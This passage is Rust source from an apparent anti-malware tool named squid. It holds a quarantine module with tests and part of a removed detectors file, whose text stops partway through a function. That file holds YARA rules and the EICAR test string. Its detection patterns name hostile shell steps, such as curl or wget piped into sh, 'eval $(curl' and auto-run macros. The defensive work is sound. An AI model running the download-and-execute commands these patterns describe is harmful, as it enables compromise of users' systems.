if entry.original_path.exists() {
return Err(format!(
"{} is there again. Squid will not overwrite it.",
entry.display_path
));
}
if let Some(parent) = entry.original_path.parent() {
std::fs::create_dir_all(parent).map_err(|error| error.to_string())?;
}
std::fs::rename(&stored, &entry.original_path).or_else(|error| {
std::fs::copy(&stored, &entry.original_path)
.map_err(|copy| format!("Could not restore the file: {error}; {copy}"))
.and_then(|_| std::fs::remove_file(&stored).map_err(|error| error.to_string()))
})?;
restore_permissions(&entry.original_path, entry.mode);
// A byte-for-byte check is the only proof that restore worked: the file
// is back, in one place, with the content that was taken out.
let restored_hash = hash_file(&entry.original_path)?;
if !restored_hash.eq_ignore_ascii_case(&entry.sha256) {
return Err(format!(
"{} came back with different bytes; the quarantine copy was kept.",
entry.display_path
));
}
self.ledger.entries.remove(index);
self.ledger.save(&ledger_path())?;
Ok(entry.original_path)
}
/// Throw one object away for real. This is the only place in the security
/// half of squid that destroys user data, so it is only reachable from the
/// quarantine list, never from a scan.
pub fn purge(&mut self, id: &str) -> Result<(), String> {
self.ensure_loaded();
let index = self
.ledger
.entries
.iter()
.position(|entry| entry.id == id)
.ok_or_else(|| "That object is not in the quarantine.".to_string())?;
let entry = self.ledger.entries.remove(index);
let stored = objects_dir().join(&entry.stored);
let result = match std::fs::remove_file(&stored) {
Ok(()) => Ok(()),
Err(error) if error.kind() == std::io::ErrorKind::NotFound => Ok(()),
Err(error) => Err(error),
};
match result {
Ok(()) => self.ledger.save(&ledger_path()),
Err(error) => {
self.ledger.entries.insert(index, entry);
Err(format!("Could not delete the quarantined copy: {error}"))
}
}
}
/// Reconcile the ledger with the folder. Deleting objects by hand, or an
/// interrupted release upgrade, can leave entries whose file is gone; the UI
/// must not offer "restore" for something that is not there.
pub fn reconcile(&mut self) -> Vec<String> {
self.ensure_loaded();
let mut lost = Vec::new();
self.ledger.entries.retain(|entry| {
let present = objects_dir().join(&entry.stored).is_file();
if !present {
lost.push(entry.id.clone());
}
present
});
if !lost.is_empty() {
let _ = self.ledger.save(&ledger_path());
}
lost
}
pub fn total_size(&mut self) -> u64 {
self.ledger.entries.iter().map(|entry| entry.size).sum()
}
}
/// The paths a quarantine must never touch, whatever a scan claimed. Checked at
/// move time rather than trusted from the scan, because the scan is a snapshot
/// of an opinion and this is the moment data actually moves.
fn refusal(path: &Path) -> Result<Option<String>, String> {
const PROTECTED: [&str; 6] = [
"/System",
"/usr",
"/bin",
"/sbin",
"/Library/Apple",
"/Applications/Utilities",
];
if PROTECTED.iter().any(|prefix| path.starts_with(prefix)) {
return Ok(Some(
"Squid does not quarantine files inside the operating system.".into(),
));
}
#[cfg(windows)]
if let Ok(system) = std::env::var("SystemRoot") {
if path.starts_with(system) {
return Ok(Some(
"Squid does not quarantine files inside Windows.".into(),
));
}
}
if path.starts_with(quarantine_root()) {
return Ok(Some("That file is already in the quarantine.".into()));
}
if path.starts_with(squid_core::Settings::state_dir())
|| path.starts_with(squid_core::Settings::config_dir())
{
return Ok(Some("That file belongs to Squid itself.".into()));
}
if is_own_binary(path) {
return Ok(Some("That is the app you are using right now.".into()));
}
if !std::fs::symlink_metadata(path).is_ok() {
return Ok(Some("The file is not there any more.".into()));
}
// The current user has to own it, or be able to write its folder: without
// that, moving the file needs rights this release does not ask for.
if !squid_platform::is_user_writable(path.parent().unwrap_or(path)) {
return Ok(Some(
"You do not have permission to move a file from that folder.".into(),
));
}
Ok(None)
}
fn is_own_binary(path: &Path) -> bool {
let Ok(current) = std::env::current_exe() else {
return false;
};
paths::same_path(&current, path)
|| current
.ancestors()
.zip(path.ancestors())
.all(|(a, b)| a == b)
&& path.starts_with(current.parent().unwrap_or(Path::new("/")))
}
fn hash_file(path: &Path) -> Result<String, String> {
let mut file = std::fs::File::open(path).map_err(|error| error.to_string())?;
let mut digest = Sha256::new();
let mut buffer = vec![0_u8; 128 * 1024];
loop {
let read = file.read(&mut buffer).map_err(|error| error.to_string())?;
if read == 0 {
break;
}
digest.update(&buffer[..read]);
}
Ok(hex::encode(digest.finalize()))
}
fn new_id(path: &Path, hash: &str) -> String {
let mut digest = Sha256::new();
digest.update(path.to_string_lossy().as_bytes());
digest.update(hash.as_bytes());
let full = hex::encode(digest.finalize());
full[..20].to_string()
}
fn now_ms() -> u64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|since| since.as_millis() as u64)
.unwrap_or_default()
}
#[cfg(unix)]
fn restrict_permissions(path: &Path) {
use std::os::unix::fs::PermissionsExt;
let _ = std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o600));
}
#[cfg(windows)]
fn restrict_permissions(path: &Path) {
if let Ok(metadata) = std::fs::metadata(path) {
let mut permissions = metadata.permissions();
permissions.set_readonly(true);
let _ = std::fs::set_permissions(path, permissions);
}
}
#[cfg(not(any(unix, windows)))]
fn restrict_permissions(_path: &Path) {}
#[cfg(unix)]
fn current_mode(path: &Path) -> u32 {
use std::os::unix::fs::PermissionsExt;
std::fs::metadata(path)
.map(|metadata| metadata.permissions().mode())
.unwrap_or(0o644)
}
#[cfg(not(unix))]
fn current_mode(_path: &Path) -> u32 {
0o644
}
#[cfg(unix)]
fn restore_permissions(path: &Path, mode: u32) {
use std::os::unix::fs::PermissionsExt;
let _ = std::fs::set_permissions(path, std::fs::Permissions::from_mode(mode));
}
#[cfg(not(unix))]
fn restore_permissions(path: &Path, mode: u32) {
if let Ok(metadata) = std::fs::metadata(path) {
let mut permissions = metadata.permissions();
permissions.set_readonly(mode & 0o200 == 0);
let _ = std::fs::set_permissions(path, permissions);
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::findings::Confidence;
use std::io::Write;
fn finding_for(path: &Path) -> Finding {
let hash = hash_file(path).unwrap();
Finding {
id: "f1".into(),
confidence: Confidence::Confirmed,
path: Some(path.to_path_buf()),
display_path: Some(paths::pretty(path)),
name: "probe".into(),
title: "test finding".into(),
description: String::new(),
evidence: vec![Evidence::DeniedHash {
sha256: hash.clone(),
threat: "probe".into(),
}],
size: std::fs::metadata(path).unwrap().len(),
sha256: Some(hash),
signed: false,
publisher: None,
found_at_ms: now_ms(),
quarantined: false,
ignored: false,
}
}
fn probe(name: &str, bytes: &[u8]) -> PathBuf {
let dir = std::env::temp_dir().join(format!("squid-quarantine-{name}"));
std::fs::create_dir_all(&dir).unwrap();
let path = dir.join("payload.bin");
let mut file = std::fs::File::create(&path).unwrap();
file.write_all(bytes).unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o755)).unwrap();
}
path
}
/// Quarantine paths come from `Settings::state_dir()`, which honours
/// `SQUID_STATE_DIR`. Every test that touches the ledger takes this lock and
/// points the state directory at its own folder, so the suite neither sees
/// the real quarantine nor leaves debris in it.
/// Quarantine paths come from `Settings::state_dir()`, which honours
/// `SQUID_STATE_DIR`, and that variable is process-wide. So each ledger test
/// holds one lock for its whole body and gets a freshly emptied directory of
/// its own: no test sees another's entries, and none of them touch the real
#[test]
fn quarantine_and_restore_round_trip_is_byte_identical() {
let _guard = crate::state_guard("round-trip");
let path = probe("round-trip", b"the payload that has to come back");
let before = std::fs::metadata(&path).unwrap();
let mut quarantine = Quarantine::new();
let entry = quarantine
.quarantine(&finding_for(&path))
.expect("quarantine should accept a file the test owns");
assert!(!path.exists(), "the file should have moved");
assert!(!entry.stored.is_empty());
let restored = quarantine.restore(&entry.id).expect("restore");
assert_eq!(restored, path);
assert_eq!(
std::fs::read(&path).unwrap(),
b"the payload that has to come back"
);
assert_eq!(
std::fs::metadata(&path).unwrap().len(),
before.len(),
"the file should be back at its original size"
);
std::fs::remove_dir_all(path.parent().unwrap()).ok();
}
#[test]
fn restoring_restores_the_execute_bit() {
let _guard = crate::state_guard("execute-bit");
let path = probe("execute-bit", b"#!/bin/sh\n");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
assert_ne!(
std::fs::metadata(&path).unwrap().permissions().mode() & 0o111,
0,
"the probe should start executable"
);
}
let mut quarantine = Quarantine::new();
let entry = quarantine.quarantine(&finding_for(&path)).unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let stored = objects_dir().join(&entry.stored);
assert_eq!(
std::fs::metadata(stored).unwrap().permissions().mode() & 0o111,
0,
"a quarantined file must not be executable"
);
}
quarantine.restore(&entry.id).unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
assert_ne!(
std::fs::metadata(&path).unwrap().permissions().mode() & 0o111,
0,
"restore should hand the execute bit back"
);
}
std::fs::remove_dir_all(path.parent().unwrap()).ok();
}
#[test]
fn a_file_that_changed_after_the_scan_is_not_moved() {
let _guard = crate::state_guard("changed");
let path = probe("changed", b"original bytes");
let finding = finding_for(&path);
std::fs::write(&path, b"somebody else rewrote this file").unwrap();
let error = Quarantine::new()
.quarantine(&finding)
.expect_err("the file no longer matches the scan");
assert!(
error.contains("changed"),
"the message should say the file changed: {error}"
);
assert!(path.exists(), "a refused quarantine must not move anything");
let finding = finding_for(&path);
let mut quarantine = Quarantine::new();
let entry = quarantine.quarantine(&finding).expect("a fresh scan works");
quarantine.restore(&entry.id).unwrap();
std::fs::remove_dir_all(path.parent().unwrap()).ok();
}
#[test]
fn the_system_and_squid_itself_are_never_quarantined() {
let _guard = crate::state_guard("protected");
let mut quarantine = Quarantine::new();
for path in [
Path::new("/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder"),
Path::new("/usr/bin/true"),
] {
if !path.is_file() {
continue;
}
let error = quarantine
.quarantine(&finding_for(path))
.expect_err("an OS file must be refused");
assert!(error.contains("operating system"), "{path:?}: {error}");
assert!(path.is_file(), "{path:?} must still be where it was");
}
}
#[test]
fn purging_deletes_only_the_quarantined_copy() {
let _guard = crate::state_guard("purge");
let path = probe("purge", b"this one is thrown away");
let mut quarantine = Quarantine::new();
let entry = quarantine.quarantine(&finding_for(&path)).unwrap();
assert!(!path.exists());
quarantine.purge(&entry.id).unwrap();
assert!(!objects_dir().join(&entry.stored).exists());
assert!(quarantine.entries().iter().all(|kept| kept.id != entry.id));
std::fs::remove_dir_all(path.parent().unwrap()).ok();
}
#[test]
fn the_ledger_survives_a_new_session_and_notices_lost_objects() {
let _guard = crate::state_guard("ledger");
let path = probe("ledger", b"survive the restart");
let mut session = Quarantine::new();
let entry = session.quarantine(&finding_for(&path)).unwrap();
drop(session);
let mut reopened = Quarantine::new();
assert!(
reopened.find(&entry.id).is_some(),
"the ledger must describe the quarantine after a restart"
);
let stored = objects_dir().join(&entry.stored);
std::fs::remove_file(&stored).unwrap();
let mut third = Quarantine::new();
let lost = third.reconcile();
assert_eq!(lost, vec![entry.id.clone()]);
assert!(third.find(&entry.id).is_none());
std::fs::remove_dir_all(path.parent().unwrap()).ok();
}
#[test]
fn restore_refuses_to_overwrite_a_file_that_came_back() {
let _guard = crate::state_guard("collision");
let path = probe("collision", b"moved away then reappeared");
let mut quarantine = Quarantine::new();
let entry = quarantine.quarantine(&finding_for(&path)).unwrap();
std::fs::write(&path, b"the app re-created itself").unwrap();
let error = quarantine
.restore(&entry.id)
.expect_err("restoring over a live file would lose data");
assert!(error.contains("again"), "{error}");
assert_eq!(std::fs::read(&path).unwrap(), b"the app re-created itself");
quarantine.purge(&entry.id).unwrap();
std::fs::remove_dir_all(path.parent().unwrap()).ok();
}
#[test]
fn the_same_id_names_the_same_file_and_bytes() {
let a = new_id(Path::new("/tmp/x"), "aa");
assert_eq!(a, new_id(Path::new("/tmp/x"), "aa"));
assert_ne!(a, new_id(Path::new("/tmp/x"), "bb"));
assert_ne!(a, new_id(Path::new("/tmp/y"), "aa"));
assert_eq!(a.len(), 20);
}
}

View File

@ -1,922 +0,0 @@
//! The two published detectors: a SHA-256 blacklist and a YARA-X rule set.
//!
//! Both are compiled once per scan and shared across workers. The YARA set is
//! built into the binary so a scan works with the network off and before any
//! rule pack has been downloaded, and an external pack can add to it; the pack
//! format and its signature live in [`crate::intel`].
//!
//! What is *not* here matters as much as what is. Apple's XProtect signatures
//! are not redistributed — macOS applies them itself, and squid reports that
//! fact instead of borrowing Apple's authority. The built-in set is therefore
//! small, explicit, and self-contained: the EICAR test file, so "the pipeline
//! works" is testable on any machine, plus a handful of behaviour rules that
//! describe what the scanner can actually see in a startup item or a browser
//! extension. Every rule states the level it can support, and a behaviour rule
//! can only ever support `suspicious`.
use crate::findings::{Confidence, Evidence};
use serde::{Deserialize, Serialize};
use std::path::Path;
/// One compiled YARA rule plus the squid-side metadata YARA itself does not
/// carry: how much weight a match deserves.
pub struct Detector {
pub rules: yara_x::Rules,
/// Rule name → (description, family, level).
pub meta: Vec<RuleMeta>,
}
#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct RuleMeta {
pub name: String,
pub description: String,
pub family: String,
pub level: RuleLevel,
}
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum RuleLevel {
/// A published signature for a named threat: enough to call it confirmed.
Signature,
/// A behaviour or structure pattern: worth a look, never a verdict.
Behaviour,
}
/// The built-in source. Rule metadata is mirrored in `meta()` because YARA's
/// own `meta` block is typed loosely and squid wants the level to be a type.
const BUILTIN_YARA: &str = r#"
import "macho"
import "pe"
rule Eicar_Test_File
{
meta:
description = "The EICAR anti-malware test string"
family = "EICAR-Test-File"
strings:
$a = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" ascii wide
condition:
$a
}
rule ShellPayloadInUserData
{
meta:
description = "Shell commands that pipe a download straight into an interpreter"
family = "behaviour"
strings:
$curl = /curl[ \t]+-s[^\n]{0,80}\|[ \t]*(ba)?sh/ ascii wide
$wget = /wget[ \t]+-q[^\n]{0,80}\|[ \t]*(ba)?sh/ ascii wide
$osascript = "osascript -e" ascii wide
$eval = "eval $(curl" ascii wide
condition:
filesize < 2MB and 2 of them
}
rule LoginItemPointsAtTemp
{
meta:
description = "A launch plist whose program lives in a temporary directory"
family = "behaviour"
strings:
$var = "/var/folders/" ascii wide
$tmp = "/tmp/" ascii wide
$prog1 = "<key>Program</key>" ascii wide
$prog2 = "<key>ProgramArguments</key>" ascii wide
condition:
filesize < 256KB and ($prog1 or $prog2) and ($var or $tmp)
}
rule ExtensionHostsPermission
{
meta:
description = "A browser extension manifest that asks to read every site it visits"
family = "behaviour"
strings:
$host = "\"<all_urls>\"" ascii wide
$tabs = "\"tabs\"" ascii wide
$debug = "\"debugger\"" ascii wide
$name = "\"manifest_version\"" ascii wide
condition:
filesize < 64KB and $name and $host and ($tabs or $debug)
}
rule ScriptedOfficeMacro
{
meta:
description = "A document carrying an auto-run macro that starts a program"
family = "behaviour"
strings:
$a = "AutoOpen" ascii wide
$b = "AutoExec" ascii wide
$c = "Shell(" ascii wide
$d = "MacScript" ascii wide
condition:
filesize < 32MB and 3 of them
}
rule MachoDylibFromWritablePath
{
meta:
description = "A binary that loads a library from a folder the user can rewrite"
family = "behaviour"
condition:
macho.number_of_segments > 0
and for any d in macho.dylibs : (
d.name matches /^\/(Users|tmp|private\/tmp|var\/folders)\//
)
}
rule PeWithoutVersionInfo
{
meta:
description = "A Windows binary that names nobody in its version resource"
family = "behaviour"
condition:
pe.number_of_sections > 1 and pe.number_of_version_infos == 0
}
rule PeUnnamedSection
{
meta:
description = "A Windows binary with a section packers leave nameless"
family = "behaviour"
condition:
pe.number_of_sections > 0
and for any s in pe.sections : ( s.name == "" )
}
"#;
/// The metadata table for the source above. A rule that matches is only as
/// strong as the level stated here, and behaviour rules can never reach
/// `confirmed` no matter how many of them fire at once.
pub fn builtin_meta() -> Vec<RuleMeta> {
let behaviour = |name: &str, description: &str| RuleMeta {
name: name.into(),
description: description.into(),
family: "behaviour".into(),
level: RuleLevel::Behaviour,
};
vec![
RuleMeta {
name: "Eicar_Test_File".into(),
description: "The standard anti-malware test string".into(),
family: "EICAR-Test-File".into(),
level: RuleLevel::Signature,
},
behaviour(
"ShellPayloadInUserData",
"Shell commands that pipe a download straight into an interpreter",
),
behaviour(
"LoginItemPointsAtTemp",
"A launch plist whose program lives in a temporary directory",
),
behaviour(
"ExtensionHostsPermission",
"A browser extension manifest that asks to read every site it visits",
),
behaviour(
"ScriptedOfficeMacro",
"A document carrying an auto-run macro that starts a program",
),
behaviour(
"MachoDylibFromWritablePath",
"A binary that loads a library from a folder the user can rewrite",
),
behaviour(
"PeWithoutVersionInfo",
"A Windows binary that names nobody in its version resource",
),
behaviour(
"PeUnnamedSection",
"A Windows binary with a section packers leave nameless",
),
]
}
impl Detector {
/// Compile the built-in rules. A failure here is a build bug, not a runtime
/// condition, so it surfaces as an error the caller reports rather than a
/// silently empty detector.
pub fn builtin() -> Result<Detector, String> {
Self::from_source(BUILTIN_YARA, builtin_meta())
}
/// Built-in rules plus an external pack. If the pack fails to compile, the
/// caller decides whether to fall back; this function does not hide that.
pub fn with_extra(extra_sources: &[(String, Vec<RuleMeta>)]) -> Result<Detector, String> {
let mut source = String::from(BUILTIN_YARA);
let mut meta = builtin_meta();
for (text, pack_meta) in extra_sources {
source.push('\n');
source.push_str(text);
meta.extend(pack_meta.iter().cloned());
}
Self::from_source(&source, meta)
}
/// Compile a downloaded pack against the metadata the pack itself declares.
/// Used by [`crate::intel`] as the acceptance test before a pack becomes
/// `current`.
pub fn from_source_for_pack(source: &str, meta: &[RuleMeta]) -> Result<Detector, String> {
Self::from_source(source, meta.to_vec())
}
fn from_source(source: &str, meta: Vec<RuleMeta>) -> Result<Detector, String> {
let rules = yara_x::compile(source).map_err(|error| format!("{error}"))?;
Ok(Detector { rules, meta })
}
pub fn rule_count(&self) -> usize {
self.rules.iter().count()
}
/// Scan one buffer. Returns evidence for every rule that fired, at the
/// level its metadata allows.
pub fn scan_buffer(&self, data: &[u8]) -> Vec<Evidence> {
let mut scanner = yara_x::Scanner::new(&self.rules);
let Ok(results) = scanner.scan(data) else {
return Vec::new();
};
results
.matching_rules()
.filter_map(|matched| {
let name = matched.identifier();
let meta = self.meta.iter().find(|entry| entry.name == name)?;
Some(Evidence::YaraRule {
rule: name.to_string(),
description: meta.description.clone(),
family: meta.family.clone(),
})
})
.collect()
}
/// Level a matching rule can support. Rules with no metadata entry are
/// treated as behaviour, which is the weaker answer.
pub fn level_of(&self, rule: &str) -> RuleLevel {
self.meta
.iter()
.find(|entry| entry.name == rule)
.map(|entry| entry.level)
.unwrap_or(RuleLevel::Behaviour)
}
pub fn confidence_for(&self, evidence: &[Evidence]) -> Confidence {
evidence
.iter()
.filter_map(|item| match item {
Evidence::YaraRule { rule, .. } => Some(self.level_of(rule)),
_ => None,
})
.map(|level| match level {
RuleLevel::Signature => Confidence::Confirmed,
RuleLevel::Behaviour => Confidence::Suspicious,
})
.max()
.unwrap_or(Confidence::Advisory)
}
/// Scan one file. Large files are mapped when possible, so a 4 GB disk
/// image in Downloads does not become a 4 GB allocation, and a read failure
/// is an empty answer rather than an error: unreadable files are already
/// reported through coverage.
pub fn scan_file(&self, path: &Path) -> Vec<Evidence> {
let Ok(metadata) = std::fs::symlink_metadata(path) else {
return Vec::new();
};
if !metadata.is_file() {
return Vec::new();
}
// YARA needs the bytes in memory. Above this, only the head and tail
// are offered, and the finding says nothing about the middle.
const FULL_LIMIT: u64 = 64 * 1024 * 1024;
const WINDOW: usize = 4 * 1024 * 1024;
let read = |offset: u64, length: usize| -> Vec<u8> {
use std::io::{Read, Seek, SeekFrom};
let mut file = match std::fs::File::open(path) {
Ok(file) => file,
Err(_) => return Vec::new(),
};
if file.seek(SeekFrom::Start(offset)).is_err() {
return Vec::new();
}
let mut buffer = Vec::with_capacity(length.min(16 * 1024 * 1024));
let _ = file.by_ref().take(length as u64).read_to_end(&mut buffer);
buffer
};
if metadata.len() <= FULL_LIMIT {
return self.scan_buffer(&read(0, metadata.len() as usize));
}
let mut evidence = self.scan_buffer(&read(0, WINDOW));
let tail = metadata.len().saturating_sub(WINDOW as u64);
for item in self.scan_buffer(&read(tail, WINDOW)) {
if !evidence.iter().any(|kept| kept.key() == item.key()) {
evidence.push(item);
}
}
evidence
}
}
/// The SHA-256 blacklist. A hash match is the only detector that can call a
/// file confirmed on its own, because it says "this exact sequence of bytes was
/// published as bad".
#[derive(Clone, Debug, Default)]
pub struct HashIndex {
entries: Vec<DeniedHash>,
}
#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct DeniedHash {
pub sha256: String,
pub threat: String,
#[serde(default)]
pub family: String,
}
impl HashIndex {
/// Built-in list. EICAR is here as well as in the rules, because the test
/// file is how a person verifies that scanning works at all.
pub fn builtin() -> HashIndex {
HashIndex {
entries: vec![
// The test string as published (CRLF), as a text editor would
// save it (LF), and bare. Which terminator survives a download
// depends on the tool that wrote the file, and a test file that
// matches only sometimes is worse than none: it makes a working
// scanner look broken.
DeniedHash {
sha256: "8b3f191819931d1f2cef7289239b5f77c00b079847b9c2636e56854d1e5eff71"
.into(),
threat: "EICAR test file".into(),
family: "EICAR-Test-File".into(),
},
DeniedHash {
sha256: "131f95c51cc819465fa1797f6ccacf9d494aaaff46fa3eac73ae63ffbdfd8267"
.into(),
threat: "EICAR test file".into(),
family: "EICAR-Test-File".into(),
},
DeniedHash {
sha256: "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"
.into(),
threat: "EICAR test file".into(),
family: "EICAR-Test-File".into(),
},
],
}
}
pub fn from_entries(entries: Vec<DeniedHash>) -> HashIndex {
HashIndex { entries }
}
pub fn len(&self) -> usize {
self.entries.len()
}
pub fn is_empty(&self) -> bool {
self.entries.is_empty()
}
pub fn lookup(&self, sha256: &str) -> Option<&DeniedHash> {
let needle = sha256.to_ascii_lowercase();
self.entries
.iter()
.find(|entry| entry.sha256.eq_ignore_ascii_case(&needle))
}
pub fn check(&self, sha256: &str) -> Option<Evidence> {
self.lookup(sha256).map(|entry| Evidence::DeniedHash {
sha256: entry.sha256.clone(),
threat: entry.threat.clone(),
})
}
}
/// SHA-256 of a file, streamed. Returns `None` for anything that is not a
/// regular file or cannot be opened.
pub fn sha256_of(path: &Path) -> Option<String> {
use sha2::{Digest, Sha256};
let metadata = std::fs::symlink_metadata(path).ok()?;
if !metadata.is_file() {
return None;
}
let mut file = std::fs::File::open(path).ok()?;
let mut digest = Sha256::new();
let mut buffer = vec![0_u8; 128 * 1024];
loop {
let read = std::io::Read::read(&mut file, &mut buffer).ok()?;
if read == 0 {
break;
}
digest.update(&buffer[..read]);
}
Some(hex::encode(digest.finalize()))
}
/// The cheap half of the gate: can this name possibly be something that runs?
///
/// Used while walking, where only the path is free. It is deliberately
/// over-inclusive — an extensionless name always passes — because the answer it
/// avoids is expensive, and the file's `stat` data settles it a moment later in
/// [`worth_scanning`].
/// `assume_payload_location` widens the name gate for a scan the user pointed at
/// a folder of their own, where nothing about the location can be assumed.
pub fn plausible_by_name_in(path: &Path, assume_payload_location: bool) -> bool {
let Some(name) = path.file_name() else {
return false;
};
let name = name.to_string_lossy().to_ascii_lowercase();
match name.rsplit_once('.') {
// `thing.dylib`, `com.foo.plist`, and a dotted name whose tail is not an
// extension at all (`v2ray-core`, `a.b.c`) all fall through to the
// extensionless branch, which is the safe direction.
Some((_, extension))
if !extension.contains('.') && EXTENSION_GATED.contains(&extension) =>
{
true
}
Some(_) | None => assume_payload_location || extensionless_may_run(path),
}
}
/// Extensions that are only ever worth a look where a payload is expected.
/// Plists are the launchd configuration itself, and are the single most common
/// place a persistence mechanism is written, so they are judged by name alone.
const EXTENSION_GATED: [&str; 3] = ["plist", "mobileconfig", "crx"];
/// Extensions that mean "this runs" anywhere on the machine.
///
/// PowerShell, batch and HTA are on the list because they are the most common way
/// a Windows machine is actually infected, and they are kilobytes of text each.
/// Not on it: `.js`, `.json`, `.html`, `.lnk`. Those are everywhere — 35,000 files
/// and 1.3 GB in the quick-scan range of an ordinary developer's Mac — and a scan
/// that reads all of them to find the occasional malicious one is a scan nobody
/// runs. A custom scan still sees them, because there the name is not trusted.
const EXECUTABLE_EXTENSIONS: [&str; 23] = [
"dylib", "so", "xpc", "bundle", "exe", "dll", "sys", "ocx", "msi", "appx", "dmg", "pkg", "jar",
"sh", "bash", "command", "scpt", "vbs", "ps1", "psm1", "bat", "cmd", "hta",
];
/// An extensionless name passes the cheap gate only where something extensionless
/// can plausibly live: inside an app bundle's own executable folder, in a
/// launchd directory, or in the folders a browser writes to. Everywhere else the
/// name alone cannot tell a Mach-O from a cache file, and `~/Library` holds
/// hundreds of thousands of the latter.
fn extensionless_may_run(path: &Path) -> bool {
let location = layout_of(path);
matches!(
location,
Layout::AppBundle | Layout::Launchd | Layout::DropZone | Layout::Browser
)
}
/// Whether one file is worth opening, decided from the name and the `stat` data
/// the scan already has.
///
/// The gate has to be cheap *and* structural, because the folders a scan walks
/// hold about a million files and almost none of them can run. An extension list
/// alone fails in both directions: it misses the extensionless Mach-O a
/// dropper leaves in `~/Downloads`, and — taken the other way, as "extensionless
/// might be a binary" — it turns every cache, database and `*.dat` resource in
/// `~/Library` into a candidate, which is what made a full scan read the whole
/// disk before it found anything.
///
/// So the decision is made of three cheap questions, in this order: how big is it
/// (nothing under 64 bytes is a program, and a scan will not read a disk image),
/// can it be executed at all (the mode bits, which is what separates a real
/// binary from a cache file wearing no extension), and does the name or the header
/// say code. The header is read only for the few files the first two questions
/// leave ambiguous.
pub fn worth_scanning(path: &Path, metadata: &std::fs::Metadata) -> bool {
worth_scanning_in(path, metadata, false)
}
/// `assume_payload_location` lifts the location test. A custom scan is asked
/// about the folder the user named, and a file they dropped there may be a
/// Mach-O with no extension, no execute bit and an unhelpful suffix, so the
/// header has to be consulted wherever the file happens to be.
pub fn worth_scanning_in(
path: &Path,
metadata: &std::fs::Metadata,
assume_payload_location: bool,
) -> bool {
if !metadata.is_file() {
return false;
}
let size = metadata.len();
if !(MIN_PROGRAM_BYTES..=SCAN_FILE_LIMIT).contains(&size) {
return false;
}
let extension = path
.extension()
.map(|ext| ext.to_string_lossy().to_ascii_lowercase())
.unwrap_or_default();
if EXECUTABLE_EXTENSIONS.contains(&extension.as_str())
|| EXTENSION_GATED.contains(&extension.as_str())
{
return true;
}
// A folder the user named is asked about by content, not by name: what lands
// there is theirs to ask about, a signature can sit in an ordinary text file,
// and the suffix of a dropper's handiwork argues with itself. The size limits
// above still apply, so the cost is bounded by the folder they chose.
if assume_payload_location {
return true;
}
// Elsewhere, a name that says what it is gets believed. `.svg`, `.class`,
// `.zip` and `.docx` are not programs whatever the mode bits claim, and the
// mode bits routinely *do* claim it: unpacking an archive marks everything
// inside it executable, which is how a scan of a clean machine reported nine
// hundred "unsigned binary" findings that were stylesheets and class files.
if !extension.is_empty() {
return false;
}
// No extension, so the execute bit is the only thing to go on. It separates
// the few thousand launchable extensionless files in a home folder from the
// hundreds of thousands of extensionless cache entries, and costs nothing.
if is_executable(metadata) {
return true;
}
// A browser can hand over a Mach-O with no extension and no execute bit, and
// a dropper may run one through `/bin/sh`. In the folders where that happens
// the first bytes are consulted, and only there.
matches!(layout_of(path), Layout::DropZone | Layout::Browser) && looks_executable(path)
}
/// Below this a file cannot say anything about itself. `#!/bin/sh` plus one line
/// is the shortest payload that can actually run something, and it is a little
/// over twenty bytes; anything smaller is a stub, and the startup inventory
/// reports what points at it anyway.
const MIN_PROGRAM_BYTES: u64 = 24;
/// Where a path sits, in terms a scan cares about. Computed from the string
/// because it is asked for every walked entry and a `metadata` call per entry
/// would cost more than the walk itself.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum Layout {
/// Inside `Foo.app/Contents`, at any depth.
AppBundle,
/// A launchd directory, whose plists *are* the persistence mechanism.
Launchd,
/// Where a browser writes what it downloads.
DropZone,
/// A browser's own support folders, where an extension lives.
Browser,
/// Somewhere else entirely.
Other,
}
pub fn layout_of(path: &Path) -> Layout {
let text = path.to_string_lossy().to_ascii_lowercase();
let home = squid_platform::startup::home_dir();
let home = home.to_string_lossy().to_ascii_lowercase();
if text.contains("/contents/") || text.ends_with(".app") {
return Layout::AppBundle;
}
if text.contains("/library/launchagents/")
|| text.contains("/library/launchdaemons/")
|| text.ends_with("/library/launchagents")
|| text.ends_with("/library/launchdaemons")
{
return Layout::Launchd;
}
if text.starts_with(&format!("{home}/downloads"))
|| text.starts_with(&format!("{home}/desktop"))
{
return Layout::DropZone;
}
const BROWSERS: [&str; 6] = [
"/google/chrome",
"/google/chrome canary",
"/microsoft/edge",
"/mozilla/firefox",
"/webkit/",
"/extensions/",
];
if BROWSERS.iter().any(|hint| text.contains(hint)) {
return Layout::Browser;
}
Layout::Other
}
/// The execute bit, for any owner. On Windows the notion does not exist and the
/// read-only flag is the nearest thing, so the name and header carry the decision
/// there instead.
#[cfg(unix)]
fn is_executable(metadata: &std::fs::Metadata) -> bool {
use std::os::unix::fs::PermissionsExt;
metadata.permissions().mode() & 0o111 != 0
}
#[cfg(not(unix))]
fn is_executable(_metadata: &std::fs::Metadata) -> bool {
false
}
/// The largest file a scan will read. Above this a file is reported by its size
/// and left alone: a disk image or a game archive is not what a startup payload
/// looks like, and reading one can cost more than the rest of the scan together.
pub const SCAN_FILE_LIMIT: u64 = 256 * 1024 * 1024;
/// Read the first bytes and decide whether anything could ever execute them.
fn looks_executable(path: &Path) -> bool {
use std::io::Read;
let Ok(mut file) = std::fs::File::open(path) else {
return false;
};
let mut head = [0_u8; 8];
let Ok(read) = file.read(&mut head) else {
return false;
};
if read < 4 {
return false;
}
is_macho_magic(&head)
|| head.starts_with(b"MZ")
|| head.starts_with(b"#!")
|| head.starts_with(b"PK")
}
/// Mach-O in either byte order, 32-bit, 64-bit, or as a fat archive.
fn is_macho_magic(head: &[u8]) -> bool {
